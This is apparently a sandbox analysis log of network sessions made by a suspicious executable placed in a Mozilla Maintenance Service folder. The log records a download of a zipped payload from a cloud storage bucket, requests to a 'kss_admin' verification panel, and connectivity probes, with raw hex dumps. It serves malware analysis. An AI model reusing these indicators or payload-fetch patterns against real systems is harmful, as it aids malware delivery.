Aug 5, 2024 11:59:10.056052923 CEST	1236	IN	Data Raw: 13 42 1c 96 f0 13 c6 49 a7 16 bd a5 1b 37 6e 02 e7 b4 de a6 23 0c 38 78 9f 09 8d 15 0e fd 8d e0 c7 bc 0d 70 67 bd 70 f3 7b cb dd 9b 10 85 d9 6e cb f6 b0 e9 c3 6c 30 92 5e 0e a3 10 6e c6 98 8d 64 6d 3f b2 99 b3 17 cd a9 c7 fe af 6c a1 e2 95 9c 1b Data Ascii: BI7n#8xpgp{nl0^ndm?lLEU8~V\A.R[7"^q8=%nM9[?PXyv5Ds%@7h#$m!KonoiFg:S-w+WakE8
Aug 5, 2024 11:59:10.056086063 CEST	1236	IN	Data Raw: d8 a6 ef 25 6c 75 92 dc b6 c1 63 7f 16 8c af 59 4d 2f 4c 57 92 3b ab 3f 15 9e c9 7b 25 bf 36 78 70 b7 c0 a9 f5 5f f7 3f 0f 6d fb 1f 32 f6 84 4e 3a ea 00 57 69 3f 87 74 24 13 8d 35 dd 9e 4b 4f 12 bb b8 a7 4b 7a 7a ab 7b 3a 64 27 6b a9 51 27 38 70 Data Ascii: %lucYM/LW;?{%6xp_?m2N:Wi?t$5KOKzz{:d'kQ'8p[q"nxHRwq\|?K?mI{Do-'{}<\m<UA[O( ipt\AnaW:7k0g](H"SL*R\-b-6v.}LZO?
Aug 5, 2024 11:59:10.056121111 CEST	1236	IN	Data Raw: 96 78 f1 e4 84 ea 8c 40 3b 3c 09 85 3b 47 a7 35 23 27 84 a3 3a dd 14 5b 35 51 d5 c4 c4 e4 ec c4 30 4b 5d 68 a2 fe 3b a6 2f 43 c4 7f 05 f5 ea 07 ff 0b 6b 5d cc a1 a1 99 9e 91 c9 49 f5 b8 4a a7 e9 99 d0 e8 c4 3a 18 51 a5 16 49 e5 0a b9 72 00 ea 02 Data Ascii: x@;<;G5#':[5Q0K]h;/Ck]IJ:QIr8 ji_ Cw7{CT\|lc?2UmhvAOsnT;gF'LNNCTTrm`'u>Bv&y=1@dkPYD.y<\
Aug 5, 2024 11:59:10.061064005 CEST	1236	IN	Data Raw: e4 1d 12 b3 56 5a 74 86 01 1c 9d 65 4a be 28 c8 5a 46 81 5f 8b 2e a0 40 9a df 9a cc 82 74 40 a9 50 c0 34 b0 41 84 c5 92 20 1f e5 7e 31 8c 9f 88 29 e0 ff 7a 17 80 27 ad a2 4d 80 87 fa b3 10 b5 48 b0 11 1b fc b8 6e 7c 79 eb 57 e6 50 30 0d 17 23 70 Data Ascii: VZteJ(ZF_.@t@P4A ~1)z'MHn\|yWP0#p\1#<StU^d24An%XErm:&':_#9]CI;558t4dT>^D~?O!wFa[P'8Q:x>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49718	47.94.225.221	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:08.939630985 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jmw.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:10.529292107 CEST	367	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.26.0 Date: Mon, 05 Aug 2024 09:59:10 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://www.jmw.com.cn/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.26.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49719	113.219.142.35	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:08.945794106 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.cdstm.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:09.895262003 CEST	464	IN	HTTP/1.1 302 Moved Temporarily Server: JSP3/2.0.14 Date: Mon, 05 Aug 2024 09:59:09 GMT Content-Type: text/html Content-Length: 144 Connection: keep-alive Location: https://www.cdstm.cn/ X-Cache-Status: MISS Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=63072000;includeSubdomains;preload Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4a 53 50 33 2f 32 2e 30 2e 31 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>JSP3/2.0.14</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49720	43.159.118.238	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:09.055397987 CEST	221	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.tencent.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:09.521759987 CEST	195	IN	HTTP/1.1 302 Found Location: https://www.tencent.com/ Content-Length: 0 Connection: keep-alive Server: EdgeOne_SS_OC Date: Mon, 05 Aug 2024 09:59:09 GMT EO-LOG-UUID: 1344983506351565634

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49721	163.171.208.133	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:09.121865034 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.cctv.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:10.070622921 CEST	521	IN	HTTP/1.1 302 Moved Temporarily Date: Mon, 05 Aug 2024 09:59:09 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: keep-alive Server: Cdn Cache Server V2.0 Location: https://www.cctv.com/ X-Via: 1.0 PSxjpSin5ij130:8 (Cdn Cache Server V2.0) X-Ws-Request-Id: 66b0a26d_PSxjpSin5df135_20990-43956 Set-Cookie: HMF_CI=e1a331a71b5edf0aaa1e525cdd18e2871b954698b7ec98aa28d0b66805589a65a50f9aff4cdac65a4bc7e43ed49c6d72bd19e3ae89f372ba50c026227fa213ba48; Expires=Wed, 04-Sep-24 09:59:09 GMT; Path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49722	47.254.187.186	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:09.158400059 CEST	261	OUT	GET /2024-08-05/17_56 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: guangzhoucs.oss-accelerate.aliyuncs.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:10.539181948 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: AliyunOSS Date: Mon, 05 Aug 2024 09:59:10 GMT Content-Type: application/octet-stream Content-Length: 1565 Connection: keep-alive x-oss-request-id: 66B0A26E5CF47E6080E34706 Content-Range: bytes 0-1564/1565 Accept-Ranges: bytes ETag: "9ABAC071C0B58556F95C6F92C5C9C28C" Last-Modified: Mon, 05 Aug 2024 09:56:59 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 16292424176455077522 x-oss-storage-class: Standard Content-MD5: mrrAccC1hVb5XG+SxcnCjA== x-oss-server-time: 3 Data Raw: 50 4b 03 04 14 00 01 00 08 00 a1 5d 05 59 d0 59 19 20 b3 05 00 00 74 13 00 00 04 00 00 00 63 6c 73 74 50 b7 99 b4 d5 d4 f8 5f 82 4b 39 db 03 06 b3 60 94 8c 6b 3b b4 fe b3 7d 4e aa c4 eb aa 1b 8d 70 91 9f f9 94 9a 38 05 0a 11 53 60 e9 48 4e 50 36 80 3f da 2d 46 64 2d 61 16 84 14 28 7a 69 88 9c cc d5 3f 31 0f 30 2a 52 e3 31 5b e5 0c f3 19 e0 49 7c 33 e3 20 ba c0 b5 f0 9e 98 82 96 15 c5 69 54 15 5f a3 2e 17 da e3 a0 a9 ee 6f 61 f8 f0 a7 d7 67 cf 3d e1 33 36 00 18 f3 3c 42 e4 25 df a1 df 22 1a 9d 73 2c cb e0 69 77 81 83 64 c3 92 4d 58 85 21 e1 30 46 96 a4 8c 5a cd a2 e2 d7 55 e7 c7 ba 94 b1 7f dc f5 a2 17 10 b2 7f cd 17 84 5c 04 86 a3 71 93 06 ce d5 79 46 51 67 11 2d 7f d2 01 40 d6 05 15 e8 b2 fb 69 90 e6 94 46 70 4a bc f6 82 62 df 44 9f 9f 8c f9 73 20 08 b0 0a 4d da 12 32 b8 a7 66 48 7f 8d 37 c9 8b f6 ff 77 31 e1 9d a4 df 92 b6 63 4e a2 fe 64 61 d4 c0 eb 7a 10 11 1d b3 7a 8a cb 07 47 9e 03 d2 64 cf cc ea f6 d4 42 a4 79 6e 25 43 ed 8f ae 79 01 78 99 44 44 48 ab 78 4c 1a e5 a4 9c 69 93 e7 7e 1a 67 f9 86 [TRUNCATED] Data Ascii: PK]YY tclstP_K9`k;}Np8S`HNP6?-Fd-a(zi?10R1[I\|3 iT_.oag=36<B%"s,iwdMX!0FZU\qyFQg-@iFpJbDs M2fH7w1cNdazzGdByn%CyxDDHxLi~gpugMgYfx3%Cx+0z(jXZUN?k\|]>GSJED {QEb)u<z7(S`)YKQgnCV0r&$nTD8Oj1IO.Rc)"V2}qDAw(?wcu)K"\|O1=5r}rIic5rjuLCYz4U\62nRE-8RIMpS.l9@=I_vT8oo
Aug 5, 2024 11:59:10.539237022 CEST	854	IN	Data Raw: 4b 33 ab 0b e4 24 54 e7 69 4b 39 7b 41 94 52 ae 70 91 03 0c ec 84 a1 67 32 cd d0 d1 d8 9b f0 c6 0d 21 f0 dd e8 1b b9 0b f9 55 37 1d 11 b3 4f e3 9a 01 c2 8d ce cc e7 60 83 f9 ff bf 0a 94 19 35 5f 80 29 a0 7d 42 53 da f1 b2 64 72 68 81 1b d7 ce 5e Data Ascii: K3$TiK9{ARpg2!U7O`5_)}BSdrh^w\|hj%:<+wBpHDXjIrk4n,mK~r8^yM :2f_D bI,g<$@utg<7[Y#y'g9i{bXvM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49723	43.132.80.175	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:09.375204086 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.hupu.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:10.296250105 CEST	227	IN	HTTP/1.1 302 Found Location: https://www.hupu.com/ Content-Length: 0 X-NWS-LOG-UUID: 16456163212897200298 Connection: keep-alive Server: Lego Server Date: Mon, 05 Aug 2024 09:59:10 GMT X-Cache-Lookup: Return Directly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49724	45.194.34.240	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:09.375992060 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jb51.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:09.972273111 CEST	260	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Location: /GE/CC/VALIDATOR?key=090d6266cb4d90d95f4efaab35822e54.6d10c9ba23ad3cb1becee5b79298607e.1722851949&url=http%3A%2F%2Fwww.jb51.net%2F Date: Mon, 05 Aug 2024 09:59:09 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49725	61.163.9.35	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:09.377074957 CEST	225	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.autohome.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:10.377258062 CEST	368	IN	HTTP/1.1 302 Moved Temporarily Server: JSP3/2.0.14 Date: Mon, 05 Aug 2024 09:59:10 GMT Content-Type: text/html Content-Length: 144 Connection: keep-alive Location: https://www.autohome.com.cn/ X-Cache-Status: MISS Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4a 53 50 33 2f 32 2e 30 2e 31 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>JSP3/2.0.14</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49729	8.218.30.151	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:11.215074062 CEST	205	OUT	GET /kss_admin/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Host: yanzheng.appchizi.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:12.126800060 CEST	1236	IN	HTTP/1.1 206 Partial Content Date: Mon, 05 Aug 2024 09:59:11 GMT Content-Type: text/html;charset=utf-8 Content-Length: 4575 Connection: keep-alive X-Powered-By: PHP/5.3.29 Set-Cookie: PHPSESSID=c1f9f80fde1d6f3f6ae07be83f8a2a6c; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Range: bytes 0-4574/4575 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e e7 99 be e5 ba a6 e4 b8 80 e4 b8 8b ef bc 8c e4 bd a0 e5 b0 b1 e7 9f a5 e9 81 93 2d 2d 4d 31 37 2d 50 32 37 32 20 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 e6 9c 8d e5 8a a1 e7 ab af e7 89 88 e6 9c ac 22 20 63 6f 6e 74 65 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>--M17-P272 </title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8" /><meta name="" content="Version M17-P272" /><meta name="" content=" http://www.hphu.com QQ188372002" /><script type="text/javascript" src="/kss_inc/js/jquery.1.3.2.pack.js" charset="utf-8"></script><link rel="shortcut icon" href="/favicon.ico" /><style>a{font-size:12px;color:#666;text-decoration:none;}body{background:#ffffff url(../kss_inc/images/login_01.png) repeat-x;}form{margin:0;padding:0}input{font-size:12px}#username{bac
Aug 5, 2024 11:59:12.126813889 CEST	188	IN	Data Raw: 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 6b 73 73 5f 69 6e 63 2f 69 6d 61 67 65 73 2f 75 73 65 72 31 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 77 69 64 74 68 3a 32 30 30 Data Ascii: kground:url(../kss_inc/images/user1.png) no-repeat;border:1px solid #ccc;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#password{font-size:12px;font-family: Fix
Aug 5, 2024 11:59:12.142122030 CEST	1236	IN	Data Raw: 65 64 73 79 73 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 6b 73 73 5f 69 6e 63 2f 69 6d 61 67 65 73 2f 70 61 73 73 77 6f 72 64 74 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 62 Data Ascii: edsys;line-height:24px;background:url(../kss_inc/images/passwordt.png) no-repeat;border:1px solid #ccc;color:#fff;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#input3{background:url(../kss_inc/images/password2.png) n
Aug 5, 2024 11:59:12.142138958 CEST	1236	IN	Data Raw: 6e 69 6d 67 2e 70 68 70 3f 72 6e 64 69 64 3d 22 2b 73 54 69 6d 65 28 29 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 24 28 22 23 70 61 73 73 77 6f 72 64 22 29 2e 62 69 6e 64 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 76 61 72 20 63 31 Data Ascii: nimg.php?rndid="+sTime());});$("#password").bind("click",function(){var c1=$(this).offset();$("#psssdiv").css({top:c1.top+5,left:c1.left+40});$(this).val("");$("#psssdiv").text("");});$("#password").bind("keyup",function(){
Aug 5, 2024 11:59:12.142153025 CEST	376	IN	Data Raw: 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 32 33 30 22 20 68 65 69 67 68 74 3d 31 30 30 22 20 62 6f 72 64 65 72 3d 22 30 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c 73 70 61 63 Data Ascii: align=center><table width="230" height=100" border="0" cellpadding="0" cellspacing="0" align=center><tr><td colspan=2><input type="text" value="" name="username" id="username" maxlength="15" AUTOCOMPLETE="off"><br><br></td></tr><tr>
Aug 5, 2024 11:59:12.231337070 CEST	741	IN	Data Raw: 72 3e 0d 0a 3c 74 64 20 63 6f 6c 73 70 61 6e 3d 32 20 61 6c 69 67 6e 3d 6c 65 66 74 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 6c 6f 67 69 6e 69 6d 67 22 20 6d 61 78 6c 65 6e 67 74 68 3d 22 36 22 20 41 55 54 4f Data Ascii: r><td colspan=2 align=left><input type="text" name="loginimg" maxlength="6" AUTOCOMPLETE="off" id="input3"><div style="position:relative;"><img id="chkimg" src="./loginimg.php?rndid=1722851951"></div></td></tr><tr><td width=120 nowarp>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49728	8.218.87.7	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:11.215125084 CEST	205	OUT	GET /kss_admin/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Host: yanzheng.appchizi.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:12.154714108 CEST	1236	IN	HTTP/1.1 206 Partial Content Date: Mon, 05 Aug 2024 09:59:11 GMT Server: Apache/2.4.10 (Debian) PHP/5.3.29 X-Powered-By: PHP/5.3.29 Set-Cookie: PHPSESSID=e3f888417e6e5792de190c9f40273b77; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Range: bytes 0-4574/4575 Content-Length: 4575 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e e7 99 be e5 ba a6 e4 b8 80 e4 b8 8b ef bc 8c e4 bd a0 e5 b0 b1 e7 9f a5 e9 81 93 2d 2d 4d 31 37 2d 50 32 37 32 20 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 e6 9c 8d e5 8a a1 e7 ab af e7 89 88 e6 9c ac 22 20 63 6f 6e 74 65 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>--M17-P272 </title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8" /><meta name="" content="Version M17-P272" /><meta name="" content=" http://www.hphu.com QQ188372002" /><script type="text/javascript" src="/kss_inc/js/jquery.1.3.2.pack.js" charset="utf-8"></script><link rel="shortcut icon" href="/favicon.ico" /><style>a{font-size:12px;color:#666;text-decoration:none;}body{background:#ffffff url(../kss_inc/images/login_01.png)
Aug 5, 2024 11:59:12.154737949 CEST	1236	IN	Data Raw: 20 72 65 70 65 61 74 2d 78 3b 7d 0d 0a 66 6f 72 6d 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 0d 0a 69 6e 70 75 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 7d 0d 0a 23 75 73 65 72 6e 61 6d 65 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: repeat-x;}form{margin:0;padding:0}input{font-size:12px}#username{background:url(../kss_inc/images/user1.png) no-repeat;border:1px solid #ccc;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#password{font-size:1
Aug 5, 2024 11:59:12.154762030 CEST	1236	IN	Data Raw: 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 69 6d 67 74 69 6d 65 3d 73 54 69 6d 65 28 29 3b 0d 0a 24 28 22 23 69 6e 70 75 74 33 22 29 2e 62 69 6e 64 28 22 66 6f 63 75 73 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 69 66 28 73 Data Ascii: ).ready(function(){imgtime=sTime();$("#input3").bind("focus",function(){if(sTime()-imgtime>50*1000){$("#chkimg").attr("src","./loginimg.php?rndid="+sTime());imgtime=sTime();}});$("#chkimg").bind("click",function(){$("#chkimg"
Aug 5, 2024 11:59:12.154778004 CEST	1236	IN	Data Raw: 2f 6c 6f 67 69 6e 5f 30 33 2e 70 6e 67 29 3b 22 20 20 77 69 64 74 68 3d 22 35 31 37 22 20 68 65 69 67 68 74 3d 22 32 33 39 22 3e 26 6e 62 73 70 3b 3c 2f 74 64 3e 0d 0a 3c 74 64 20 72 6f 77 73 70 61 6e 3d 22 33 22 20 73 74 79 6c 65 3d 22 62 61 63 Data Ascii: /login_03.png);" width="517" height="239"> </td><td rowspan="3" style="background:url(../kss_inc/images/login_04.png);" width="215" height="560"> </td></tr><tr><td style="background:url(../kss_inc/images/login_05.png);" widt
Aug 5, 2024 11:59:12.154798985 CEST	144	IN	Data Raw: 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 64 69 76 20 69 64 3d 27 70 73 73 73 64 69 76 27 3e e8 af b7 e8 be 93 e5 85 a5 e5 af 86 e7 a0 81 ef bc 8c e6 94 af e6 8c 81 e4 b8 ad e6 96 87 3c 2f 64 69 76 3e 3c 64 69 76 20 69 Data Ascii: td></tr></table><div id='psssdiv'></div><div id="psssdiv2"></div><script></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49730	47.242.126.205	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:11.215747118 CEST	205	OUT	GET /kss_admin/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Host: yanzheng.appchizi.com Range: bytes=0- Connection: Keep-Alive
